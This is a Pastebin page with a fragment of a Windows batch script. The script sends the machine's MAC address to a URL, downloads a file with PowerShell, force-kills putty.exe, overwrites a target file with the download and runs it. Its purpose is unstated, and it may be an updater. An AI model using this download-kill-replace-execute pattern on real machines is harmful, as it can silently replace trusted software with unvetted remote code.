Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- REM Append MAC address as a query parameter
- set "fullUrl=%url%?mac=%macAddress%"
- REM Download the file using PowerShell
- powershell -Command "try {(New-Object System.Net.WebClient).DownloadFile('%fullUrl%', '%tempFile%'); exit 0} catch {exit 1}"
- if exist "%tempFile%" (
- REM Check if the target process is running and terminate it
- tasklist /FI "IMAGENAME eq putty.exe" 2>NUL | find /i "putty.exe" >NUL
- if %ERRORLEVEL% equ 0 (
- taskkill /F /IM putty.exe >NUL 2>&1
- timeout /t 2 /nobreak >NUL
- )
- REM Attempt to move the downloaded file
- move /Y "%tempFile%" "%outputPath%" >NUL 2>&1
- )
- REM Start the application if the file exists
- if exist "%outputPath%" (
- start "" "%outputPath%"
- )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement